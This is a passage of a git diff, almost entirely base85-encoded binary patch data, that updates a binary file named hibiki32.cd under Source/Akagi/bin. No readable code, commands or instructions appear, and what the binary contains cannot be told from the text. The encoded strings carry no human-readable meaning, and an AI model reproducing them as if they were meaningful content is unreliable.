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 bBRQZJxH_b-?LU1P-~ZK{nYV^dwSoT+FiY3q diff --git a/Source/Akagi/bin/hibiki32.cd b/Source/Akagi/bin/hibiki32.cd index 84cfff66801a4a1174535619d7465220b41b39f2..9196ee71616015872433eaf633247c9b7e242d44 100644 GIT binary patch delta 3455 zcmV-_4S@3E8~+;xVc3NW%8>=5f14WdD&x?2Fk!%?02d=#wPA6sO15g*ry<$}2?niN zl}=o^bLQL_Fk!;=2^K9}wQN(Y*}4o%Fk`|OZ(%G{_ix>-Ok~-aGT_~X1QIUVv1``N zpOkFanBc~RuO_Nm2kh3dakk8ur0mOrsu8UTET;I`KF$~+FhaYH3luC9e>NN4S99Ud zoiSnKI)q2WDcvAYyq~dxHxMKDxoDRy>;aYh-T~uI98Qic^0@}!v(k`-QUvZ4)%}PaNPsK?Wa+#iycBNOg zdsXq?qz3a3EiAv|otb=5JQ&+!Npu9EC-Ju_77bZg}!0b=fZ`87I>pPDd68qs?4A?6w3~WE~Q&_ zPd%y7`c$AhVTQabe-+}=`hwiLv~P)QyEx{BfL}FPYUn?#TR$-Qa&lx z+0yr5Q}QiKe}zg0rWxnwovm|ij?B3r+73w;b<^~BUGE1!Y?+YifaQW$30piYxG*x# zN7}FnOT;JPY<6^_)}rk60KPdO@|^^suNs~%-HZ5S&J^-$_VF2=Z$h==mzB`;a8dE$ z{tihtq#E~0;P{c%)D?A!dxVofEzw7<)~(j|ZP~C-f46XBh7DV%Pn^0V8QF*uU^)y7 zW7!HgE+%RomYmqIX~4w_{_0=ymK?Qnwx*cRW!JTf5~!NYckAtVwrm*0bOM7boef!c zZuEI`)eOdQLLv@M?)82_bcqSw+ zPHa)_e~rzW3!XK06MZUKW2VP|aB4?I!x^O$)uV6i+qcY#um}5`e(oad@@6hLn#ayb z$?V33LzV4Vk>SC-6k;X6zSWne{|qqrf2T?_gbiOUT?cB?GNWOvn znzVtzCT{h4DCg;tdfnD6obtN;n{#i8M7<;y)ngVCTDogn=%+vIg=jGa!0T3BUAO0f zUHZEuXC-IKl@2!|3AAh0#nslV*l=Rvfq)Ac>9=k$=^6Gx9ax^?dh|v|SQl!eQBO&~ ze~7+wv77)aC>ytKT((l1R9$L*^#n%6X&VuOYbXt(Fy-Dz;JrkeZl z!i5j%eO{nz#;e)3?#vNqoQcd+(TlY%+&rl1NItM(k)dO5ELfmVhOO9gywE-5y43@( z>~-%;z5pVWLEZF{fei|qH`i2Y5${-se{V2woyvOjuI*8`shJ&MCdMdsBx(f+My8t_ zi}1%=qil--M#4o-7N&zTwWykmlSEw4bTf?fW98YkD}W|0P6pTje%>T|AI5ovwb!^} zq~6*k;Mi^sCH9)P;H2ow_87=eM97MJStps`=-B2hZ4cZIq>u)C7Tj)8lUG3_e|F$p zGhCC53mK_SXJ!0RVH-1NPxO=kGxbkgH1Wg%I%#QVvD?w2*gq}bpa60LhLQ<0 zmuls|C-&&Tz3q^M;~3X!N|bDEe+#5(+5MRFpc7IFXD4dxp*O;8*u7=u)!Q988?~Lb z7eiKQR8VA7mJ1JUe5ZXQjaLHH>=b1I77La(rAmJK&0VK0&vH zbqcl82Qj0f$Wgs;z&$S%FH_}i&b1@vb+iz91%MmTjat-iDYmY0Y3Z{9z{4YUFFLcS z*_Gqw?0_d>(xFi22q(F3f9BYH-T;WcQqAp;1&dqfSu}t%(MR1Nbp?g$5|taSHWZ`v@A8GGCN1IOUfgR#<`Sqdm-2-N8?Awvf36MPU+Qd&uwku* zZ5CNuz;4{wbCk^eFg?NzN)|@ywG7t8tGC9KU|_V>3R)do!#>`>7S_)AF=2!5YH=+y zl?SugFVh~_kO!^sWpWpLw@a(abHmK*Fw48O3u4_^*xS^?tF`8=;9#Er3MDOR$7tQi zcZJOLFa^S^4#qDce}!w-tuEC8*!&Ko;YfEuH@6JE+8E00{9JjirDp~#i?B!b>08suBbNKDQmO?sMjx?L=YX{A6Qae|p9O*2*>47_Gtt;)P># zUp}`cwcAsVr|}Q~7ldwPEiBv!vw?f}2q@hMu;iJ+OkII)=~Q+X$3$RYDx?b*#Vopr z*BDy3kJ#^F-h>jOzgu^1Fq?ED^1Lu=#H9=wBvYM8)~#*hY}@!@!O;s9L0h!yi8*p; zOqrbF!#|4`fBz3PY6vY_K)7il(+Sw+53A;6a!3fb8m`bCfy|iSKtql~ zctkEaU_Gr{_!yhq4zb`16r$Oy0j|^%l8=~06R_ZAe`0tku@0mya^?-J*kOzii5RVL zHCD2{^VEWvL^8JIe`8(_wFHvFDDxhw-(j$YDi&!u&_4Y+OOni(!r;@^ZWdV<)EJ`r zGT3PAf@0H!Nfcu*_d2=D9*?3JZ!yC6WOYa>#%tEEHg|iS$PuIKZx(1Z!3VC^9g9!c z5F+jNe^f&)h;>ue{4UcTq2>Uthkn#-HNy(9)m<43n7KGThja!~O3Hhwy(Ff6w4h+Z zl`9Z6Ter+yvUKOnnJ{DWbqO{kUbSnU%~;kf=&)fDhYJ^BTW4(EjZ@^Bm}6m`g)2ZU zAGJC5tP-}wm#{A)ghIA09oKK2_;p*zcg|sAe~Ap1Em*a|(5YKfY_5;s!RHGS4OlU6 z-nd=kER`{V%kc|jEi?6NxUD?4DmbtW(uHmoWc#)V+}3tR$dXcJ@`XPZ9Uiq(wykfr z4tTI(l7%@IB>TE8yuBW_%;+!xB7kzXJUh8-yA517XN|BX!VfDpFErO>sJR=b&b5$g zf6e6$b0Hp;Zl$gH)ehIdVYa0Nd5u%{4cqv0rOegPV&cIISB*r+Yp~5y^5EF~LBeDR zAT3Z|X8!M!;=Y(eiN&`Iz5`l<3)Y!Cwq5wKx$=cQ*DL$BX*|CY{buY^XRKu%dWB5= z3*PrR)@-xTVZ(!McC1?R4$|CH#jTiJe*w_yes(Y;mwmC#LAL0qvO(5`qP93`7fS89 zMpNvW9mm76D;L~&i;2%u6jEmSfxypTFSj}PorlknUFN8`A`Kv)Cl-fXRdI$*T-nUp z#R2H&f4(x~1kk8B{Fk7IAU=sjxKunSiR*Y>pfdJx&t_2Dnw{Ezdb7qy8e`LYI zWJ+b|x~2*|mr}Ca*|Y=H`ji$DUx;esy-ecpoG@Nigew%*YUf&uob|R{WP!}^GC9gE zX<1w;izC&Mm;(;+1UTFttF>6#nHYjR?CfFo9Y3fUoP)94jh51styfgCg+6N-)PV8h z0$YRB?RHcwu&5RrvVoZDxkT*Dajyba`m#$QeOiJ&;qh$JTduHHK(ehNkZg5s>v2RV z`+Nt8!m{Kc*lo2_(ye2wRR4%d`m_r!7-RibjDaQw^uq`Z`kDX2%@E9203Fk!%?02d=#wPAs+O15g+r+Gq$8d0|jI{}&<~wr|NhX8FyUv3|me4;8ImwQCX` zdA4luF=fIbI~SdpHDuJgBj(Huy=Y^Ch?aiCctxVfBf{+aOjyc=2^VGBf5LAvxpd>r znJ_@2t9f!vF4U9OtrK@@*tBE*Ku;1U5_fl;m+0}lsn2XRB?V9Xt8PMs-MFLc2RfrMa#$%b>=O7-^$QzU7 zTESdXe=mg!Td-Kd@c?kWf7o_x-uQBpJI+7W@P%!Y+b*U+2g_eST^O=%b%6n$EvwP% z9L${64478v!`pz@?v}NufhMAjmaVj5@kLbCsHDPc)H=Hv%$ed8#|TSQECqHzEDck- zY|lL)edCDkG+V%CQTS8oduXtVzz+Hunou5Tlx_R8ty^+qgNqIpe@kFT8XC65E=-q) zr<|_JN$pk_r_-$sJ)KyhQG$~TIu@zJMvJz@=Jx)zp0=DIz%4wwbds%G(B;yJ1lN6R z19H%DFx?t^vqyBZjn>u+Kzh-L1LmzuwqFVf1w@4lpDhkg<(q{S-+-71Ww(rgnibNt ztMW!)Js{x7>cYV?e>N_ZJ|i%>a3MwA#Oj-&3!P*_wzO45TDIkdKmo}qvo8?TD9yN zut9_Y%VH^Eb#AC+d{_pTj-kS?%5Nso;FDXa5J^naTWm?lfA^NCo5_1o>T)LEhzqN} zyhs41A3=9LBb&0%*-&HS4o()`Q~+XxGByg#qj+_(mw;9=S~zcBCSQ(kAFw{0-hlIP znCNDLinHX+RQ%)%%>Edo3$$|f1=<=F8-NylrSY=5`qp56MV z71u=#Hl};E zuH2Ec=Kol3AmL?zQ`L)IN!N}SR%75Xjb6nA6$$yLJ@2WgZ;@nBM3mAv9@5dp%f(&N z!<5)Le>^UV6c(jJn##{lllF|0C?UxJ%ibc=g$o`O8#Zlt;bEk_5@Xd=04vl>@(=Br z;h0Z>3tq08w>!M04Zf4jv;oEr^OMpWxau&tbLLE=wIKrWFD=zBl@7+G(0K~j?Qo2t=98wBsn}9)yz}PS@#~= zFfIZ`#n?GLkOKxNd%963rZYGU7_gzir4OAjZv}4DRU?dygM=}thpJ>OFG-XIja8&C zf5EV7|9}e?tyD5>AW3%_xpZ1-J%N7i8B0a(Afn%Nh^VpbhiO};EQ_=@iqmm+%$PKu zl7SuoExNGj*10OMGSqithtv-isDQZYOehoOpYTXvz>qISEm}6O-XPxIlP8>>dlV%; z2;!C;QT(AIP1iX(^{T%_du?#!385Yla%B+#Ww3(qLNe+GP+ z(r!<|F9yBkxN07q%ISc-Af}>+c^L_dPMgH1Sw>r&lqs5u6vu2^x2E3cGi#WA0g z8kK3Du}jO+X0m+v!)dxa8z!jMGfK4n)8#du&|{hihjc8mbzUq|qztU6p=86sfA4Kg zvr3HldGaCIFadaz+Y+IQvHHiYe@vI$-lLxOq3-}$e=%xLx%2-sXC+O7fKZnZxrwJH zygQ*}IOqk!(tv9r4B-Y0{Bz_p%n@yPh1*P~LVJVbOXN`Te60&M~oSg#b~3_g|87$S`1p^e-#zxJkvu6 zI+lVPOj-}j*a>oP!OUV|n$-(fl#49^)Vx^^NZPV#=hq7weOnGftfaK#LWq!Iqk;4f z*qyLi)gU;uM7Xj5#zGD{y<3Nl%DH30n`sjq&gBnd3NqO{*q&70N?aCULbl^CU1&Tj z^r^JwEu4r!+=W)^?^bnefBCIMw{zLAVBLiD2`ogmaowhJ`OSwhe#4py=`vfYYRRlb zw{zLAVBLfi7ji_laowhJ`OSziNpkc(LmgWETh{q&wgBj`<(IV!m>pXiUfcsi<{r%e zVH~v!;2m1I>kWZebGIn7J;K%tc`aMfZm78g=B=186T;vNN-Z0;f62WaThVN>Kwyql z3cOnjwj%7g2e!`r0As`D3KncJ)C|9kTiOY%#00RVZ5Bc<*$U>FR*_8WFhs)k3vV4- zA0H;KHU@6DKw`Gl3UqNHwq4wd1K_=!Qz63W3vw-VWofRgYqo6I#R9L%WEM<6^bfGr z5r@qCTTSBOXL=1>f7yH2d|sMNoZJn<$7*Frdx}o^kpt|(m^2EKhItl$H05i$tqQY3 z2(%5sR>i3)Fwz{d+#iwy*%U@Og6$GtzFZ+;gs_`dJFf>??Qpe_PNQpu}6%3G|R4rs!g7 zUpghZy}w1~`E|i+9t2w##e21DKBBm{ac!}0A%#>HFex3}He#N_ z1gC{wctkkZ3c2cYlD_d?2Ev8pH>^?o1;5$Xy@%MaFSf>Kd0sxZY*RaLiN5tw6@i6* zWM4nqAA{as(;irvF{ANg7GuseU|f>%-lCkaQ;dawe??h4!5*dgTiGbL!z8fxWENjr zmTs8a6t?Xc2o=JG`IkHi&}*XMI>i`|*$>9HITbux^=y*OGqS1bT?niNR7Nc*+6c4W zD7I|c-JsRLb7o96({7p91&_Y>UJOCSD^&t1>OR(gn~rRW#RRbYU3WoQ!mORw2ZEsV z9-ab)e}YfaSju~;y(Fd+$j@=p=^Ga-5{}bnp**4t9YV{V4 zR!e~1e9BrdfX*2EjO0@&AKgk=kQJzLUl zl^Jq?%=b0H#*b+d9a@2F=IL9H4A_KWpd||yeOrZY)fs-Jtejmj!u1Px&0oyR$IMr@ z0eH9I$Dt5CewhFkpB~FD$HZ8ieSlqIk?(WXeWw3>K{wip-!}zUi)@<7_B%EmeV)xz)C}0>3ZjMT6H7ZbZ@jk_x9q!7VXoyFc}+*m zcJ#YE)^^x55x}Jjzi9iSTzs8E=J~iWe@t&93Ly7dj zg*1WbvI|riJ%AJIJ4EJ0RIk2PX0oCoE%k!l;caYkTi9(@C9>cl+-$d->$6Mt z^o=5JDD2sD&x>-Fk#@O02CuywPA6sO15g*r*Yc_2?nfR zuWnqpa^+2(GGW3?4VEb1v})b0J2r0EBH;=rk>ff6yR#kvjRFBMldJ1FZp) zlbZxd6#GmYgeq7369nq|7CAR%4_ZlldXxABHUZC*F9jce*m&%}Rk98}O-3nvH+lZ& ziI7*o4hfWAY4b|7@%UsN8v-Tf^}808>#u9vr6WD=N`fRp4v9CfY4Yk|B{U23i zrl)J2JjwJ$l;v9&&0F_BkAX7g{GHG;>a`0t(oY9*hOJvYw5a`cvXk2m(oTK;sws0m zGmWyLQiVpH>uF~>%0HQAY?M0^+in1)1Vc!BQTcLzCeHAD>dG-MCLL1!;A)9k#vRx- zsJ4~#0}l;TZzHS+cg!8eNw$ke5GX5^YF%zq{_PxbU4zC%deOVPZGi0|dM@yLY)lCQT%Ycy4e88fH|07oeldyKcI)HjjAu|wo)sjx+vGv!-eOF6= zjGt52slEfV(wDJ@{22Ah#4KCeN|WGL!^JHCWzhRdtVVzHsK{l&!u|9EbVV0y^|7jz zy~D6%K}_`C(oWjn-8i@B>_HJ#4oS&)(VM_r(C-0vW7WD zbLV^-2q}^V&o*+ShdB4W61L|6Gn>YWj=VhDrsL5*5$v$M04Y6?A2b|SID6Mp*Q09~ zu+g&!20*P|qg@Vpcw1~UdFngEvKL9pn&QLZ%eN(9JDGdrXa-1Ww)UL6QD1#FxpY@0 z3tprip#8V4)}zz8uXa(iq9n6~sIaET1BFH{ z8nYr*y!=MYsCeknJ!&&7SMI2h-B6iq$FX6;EsxHd4#RE~&2uuinA{b@fuS@0S-T(B zfiJdJtgy?F@e4>m8r-nNe9AEYYz1|we%=A?iw%~a-OIq3A*PdI19NxiYp~VY(EkCzF47&^G{FpFdx8`PA zLR!=hmCQHV4!N)bsi`Y}azQtjXt1erH_5aRC9dfUR7@$*OY4n(>KxJlA5xDRA4BW3 z0#>;qa2 